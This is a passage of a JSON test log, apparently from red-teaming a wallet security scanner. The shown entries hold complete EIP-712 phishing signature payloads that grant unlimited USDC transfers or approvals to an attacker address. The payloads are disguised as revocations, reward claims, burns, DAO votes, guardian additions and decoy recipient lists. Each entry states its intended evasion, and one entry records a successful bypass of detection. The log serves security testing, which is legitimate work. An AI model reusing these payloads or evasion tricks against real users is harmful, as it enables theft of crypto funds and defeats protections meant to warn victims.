"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0bd4b15d46e2c31eac6b3784ad02094a685c716368b483b2b6648978f066c3ae\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-EIP3009-054", "timestamp": "2026-01-31T16:09:08.575Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x7dbf31e4e838ffeb9079ccf47a298143d6f56cbce49a09e30a1fec4d7854a6ad\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:09:18.035Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:09:27.171Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:09:36.312Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:09:45.469Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:09:54.648Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:10:03.807Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:10:12.969Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:10:22.120Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:10:31.279Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:10:40.442Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:10:49.593Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:10:58.735Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:11:07.885Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:11:17.059Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:11:26.243Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:11:35.409Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:11:44.551Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, 